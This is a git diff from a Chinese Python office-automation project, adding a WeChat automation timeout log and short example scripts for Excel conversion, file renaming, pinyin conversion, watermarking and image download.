+2023-08-09 21:49:17.644 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:17.679 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:18.344 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:18.403 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:19.395 WeChatType.py[48] SplitMessage -> 2023-08-09 22:14:56.550 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.573 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.587 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.595 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.607 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.613 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.623 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.628 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.637 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.641 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.649 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.653 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:06.417 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.139 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.170 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.181 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.196 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.201 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.205 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.213 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.218 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.227 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:11.860 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:14.232 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:14.911 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:14.932 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.067 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.081 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.092 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.100 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.105 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.109 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.122 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.129 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.137 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.148 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.159 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.176 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.190 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.194 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.204 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.217 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.225 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.239 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.250 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.256 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.270 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.283 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.288 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.292 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:17:10.058 WeChatType.py[48] SplitMessage ->
\ No newline at end of file
diff --git "a/examples/poexcel/Excel\350\275\254PDF.py" "b/examples/poexcel/Excel\350\275\254PDF.py"
new file mode 100644
index 0000000..ec6e149
--- /dev/null
+++ "b/examples/poexcel/Excel\350\275\254PDF.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 19:44
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1A84y1N7or/
+'''
+
+import office
+
+office.excel.excel2pdf(excel_path=r"D:\test\程序员晚枫.xlsx",
+ pdf_path=r"D:\test\程序员晚枫.pdf")
diff --git a/examples/poexcel/excel/split_excel_by_column.xlsx b/examples/poexcel/excel/split_excel_by_column.xlsx
new file mode 100644
index 0000000..10ebd5c
Binary files /dev/null and b/examples/poexcel/excel/split_excel_by_column.xlsx differ
diff --git a/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx
new file mode 100644
index 0000000..606436d
Binary files /dev/null and b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx differ
diff --git a/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx
new file mode 100644
index 0000000..65cd110
Binary files /dev/null and b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx differ
diff --git "a/examples/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" "b/examples/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..df5fe1b
--- /dev/null
+++ "b/examples/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:30
+@本段代码的视频说明 :
+'''
+
+import office
+
+# 一行代码,创建Excel文件
+office.excel.fake2excel()
diff --git "a/examples/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" "b/examples/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py"
new file mode 100644
index 0000000..8e28e2d
--- /dev/null
+++ "b/examples/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/6 20:17
+@本段代码的视频说明 :
+'''
+import poexcel
+
+poexcel.merge2sheet(dir_path=r'D:\workplace\code\github\python-office\tests\test_files\excel\merge2sheet',
+ output_sheet_name=r'platform', output_excel_name=r'./output/merge2sheet')
diff --git "a/examples/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" "b/examples/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py"
new file mode 100644
index 0000000..8a60c11
--- /dev/null
+++ "b/examples/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:52
+@本段代码的视频说明 :
+'''
+
+import office
+
+office.excel.merge2excel(dir_path=r'../../contributors/bulabean', output_file='test_merge2excel.xlsx', )
diff --git "a/examples/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" "b/examples/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..312ddcf
--- /dev/null
+++ "b/examples/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py"
@@ -0,0 +1,8 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:54
+@本段代码的视频说明 :
+'''
diff --git "a/examples/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" "b/examples/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py"
new file mode 100644
index 0000000..8fdd581
--- /dev/null
+++ "b/examples/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:30
+@本段代码的视频说明 : https://www.bilibili.com/video/BV1wr4y1b7uk/
+ 可以模拟的数据类型有:https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw
+'''
+
+import poexcel
+
+poexcel.fake2excel(columns=['name', 'text'], rows=20)
diff --git "a/examples/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" "b/examples/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py"
new file mode 100644
index 0000000..e4730c6
--- /dev/null
+++ "b/examples/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/25 17:40
+@Description :
+'''
+import poexcel
+
+poexcel.query4excel(query_content='程序员晚枫',
+ query_path=r'必填,放Excel文件的位置')
+
+# output_path = r'选填,输出查询结果Excel的位置,默认是query_path的位置',
+# output_name = '选填,输出的文件名字,默认是:query4excel.xlsx'
diff --git "a/examples/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" "b/examples/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py"
new file mode 100644
index 0000000..76497a2
--- /dev/null
+++ "b/examples/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py"
@@ -0,0 +1,8 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 21:50
+@本段代码的视频说明 :
+'''
diff --git "a/examples/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" "b/examples/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py"
new file mode 100644
index 0000000..4187223
--- /dev/null
+++ "b/examples/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py"
@@ -0,0 +1,16 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/6 17:40
+@本段代码的视频说明 :
+'''
+
+import poexcel
+
+poexcel.split_excel_by_column(
+ filepath=r'D:\workplace\code\github\python-office\demo\poexcel\excel\split_excel_by_column.xlsx',
+ column=1,
+ worksheet_name='platform')
+
diff --git "a/examples/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" "b/examples/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py"
new file mode 100644
index 0000000..f265d19
--- /dev/null
+++ "b/examples/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 19:43
+@本段代码的文档说明 :https://blog.csdn.net/weixin_42321517/article/details/131218163
+'''
+
+import poexcel
+
+# 存放Excel文件的目录
+folder_path = r"D:\程序员晚枫的文件夹\code\github\poexcel\dev"
+
+poexcel.count4page(folder_path)
diff --git "a/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt"
new file mode 100644
index 0000000..aa17a73
--- /dev/null
+++ "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt"
@@ -0,0 +1,3 @@
+程序员晚枫
+B站
+https://space.bilibili.com/1989702333
\ No newline at end of file
diff --git "a/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt"
new file mode 100644
index 0000000..1d11ec3
--- /dev/null
+++ "b/examples/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt"
@@ -0,0 +1,3 @@
+程序员晚枫
+小红书
+https://www.xiaohongshu.com/user/profile/611dcb820000000001014aca
\ No newline at end of file
diff --git "a/examples/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" "b/examples/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py"
new file mode 100644
index 0000000..5d4198c
--- /dev/null
+++ "b/examples/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:05
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1ua4y1M7ya/
+'''
+
+# pip install pofile
+import pofile
+
+files_list = pofile.get_files(path=r'D:\workplace\code\github\pofile\tests', name='pdf')
+print(files_list)
diff --git "a/examples/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" "b/examples/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py"
new file mode 100644
index 0000000..6dcc828
--- /dev/null
+++ "b/examples/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py"
@@ -0,0 +1,16 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/12 23:52
+@本段代码的视频说明 :https://www.bilibili.com/video/BV12r4y187Yj/
+'''
+
+import office
+
+office.file.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫')
+
+import pofile
+
+pofile.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫')
diff --git "a/examples/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" "b/examples/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py"
new file mode 100644
index 0000000..12117e8
--- /dev/null
+++ "b/examples/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:06
+@本段代码的视频说明 :
+'''
+import pofile
+
+path = r'd://程序员晚枫-新文件夹'
+pofile.mkdir((path))
diff --git "a/examples/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" "b/examples/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..0c273bc
--- /dev/null
+++ "b/examples/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:44
+@本段代码的视频说明 :
+'''
+
+# 导入这个库:python-office,简写为office
+import search4file
+
+# 1行代码,实现
+search4file.search_by_content(r'你的文件夹,例如:d:\\程序员晚枫的文件夹' , content="你需要查找的文件里面的内容,例如:所有平台都叫-程序员晚枫")
\ No newline at end of file
diff --git "a/examples/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" "b/examples/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py"
new file mode 100644
index 0000000..141ba38
--- /dev/null
+++ "b/examples/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:27
+@本段代码的视频说明 :
+'''
+
+import pofile
+
+is_valid = pofile.check_suffix(file_name='程序员晚枫.pdf',suffix_list=['pdf'])
+print(is_valid)
diff --git "a/examples/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" "b/examples/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py"
new file mode 100644
index 0000000..d8754fe
--- /dev/null
+++ "b/examples/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:04
+@本段代码的视频说明 :https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A
+'''
+
+
+import office
+
+path = 'd://程序员晚枫需要整理的文件夹//'
+office.file.group_by_name(path)
\ No newline at end of file
diff --git "a/examples/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" "b/examples/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py"
new file mode 100644
index 0000000..cc6d7e0
--- /dev/null
+++ "b/examples/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/28 11:45
+@本段代码的视频说明 :
+'''
+
+import pofinance
+
+print(pofinance.t0(11.06, 11.23, 500))
+print(pofinance.t0(11.06, 35.57, 2000))
+print(pofinance.t0(14, 14.5, 300))
diff --git "a/examples/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" "b/examples/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py"
new file mode 100644
index 0000000..9272785
--- /dev/null
+++ "b/examples/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py"
@@ -0,0 +1,26 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/30 2:59
+@本段代码的视频说明 :
+'''
+
+# pip install pohan
+import pohan
+from pohan.pinyin.pinyin import Style
+
+line1 = "床前明月光"
+
+# 不带声调的
+pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.NORMAL)
+print(f'不带声调的结果:{pinyin_list}')
+
+# 带声调的
+pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE)
+print(f'带声调的结果:{pinyin_list}')
+
+# 带数字声调的
+pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE3)
+print(f'带数字声调的结果:{pinyin_list}')
diff --git "a/examples/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/examples/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg"
new file mode 100644
index 0000000..c9d49e8
Binary files /dev/null and "b/examples/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ
diff --git "a/examples/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/examples/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg"
new file mode 100644
index 0000000..7e09de2
Binary files /dev/null and "b/examples/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ
diff --git a/examples/poimage/test_files/del_watermark/del_watermark.jpg b/examples/poimage/test_files/del_watermark/del_watermark.jpg
new file mode 100644
index 0000000..719707d
Binary files /dev/null and b/examples/poimage/test_files/del_watermark/del_watermark.jpg differ
diff --git a/examples/poimage/test_files/del_watermark/img.png b/examples/poimage/test_files/del_watermark/img.png
new file mode 100644
index 0000000..f52ddbe
Binary files /dev/null and b/examples/poimage/test_files/del_watermark/img.png differ
diff --git "a/examples/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" "b/examples/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg"
new file mode 100644
index 0000000..922cd69
Binary files /dev/null and "b/examples/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" differ
diff --git "a/examples/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" "b/examples/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py"
new file mode 100644
index 0000000..98816ad
--- /dev/null
+++ "b/examples/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py"
@@ -0,0 +1,20 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:30
+@本段代码的视频说明 :
+'''
+
+# 导入这个库:python-office,简写为office
+import office
+
+office.image.down4img(
+ url='https://cos.python-office.com/icon2.jpg',
+ output_name='./test_files/下载图片/B站:程序员晚枫',
+ type='jpg')
+# 参数说明:
+# url:你要下载的图片链接
+# output_name:下载后的图片名称,可以不填,默认:down4img
+# type:下载后的图片类型,可以不填,默认:jpg
diff --git "a/examples/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" "b/examples/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py"
new file mode 100644
index 0000000..f8cb42d
--- /dev/null
+++ "b/examples/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:08
+@本段代码的视频说明 :
+'''
+# 给图片加水印
+import office
+
+office.image.add_watermark(file='./test_files/add_watermark/程序员晚枫-2.jpg',
+ mark='程序员晚枫',
+ output_path=r'./test_files/add_watermark/mark_img')
diff --git "a/examples/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" "b/examples/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py"
new file mode 100644
index 0000000..2f63e7f
